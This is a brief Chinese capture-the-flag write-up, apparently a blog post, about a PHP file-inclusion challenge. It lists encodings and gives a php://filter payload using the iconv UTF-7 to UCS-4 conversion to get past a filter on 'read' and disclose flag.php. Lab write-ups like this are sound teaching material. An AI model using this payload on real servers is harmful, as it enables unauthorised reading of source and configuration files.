打开环境,看php代码
如题目所说,给出代码很简单,试一下:data://text/plain,%20phpinfo();
再尝试一下php://协议
经过尝试后发现read被ban掉了,这里参考了一下官方的wp
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php
考虑利用iconv进行编码
payload:?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
拿到了flag
总结
过滤器需要一些绕过,用到了iconv编码过滤器。
参考链接
ctfshow-文件包含_6right的博客-CSDN博客_ctfshow 文件包含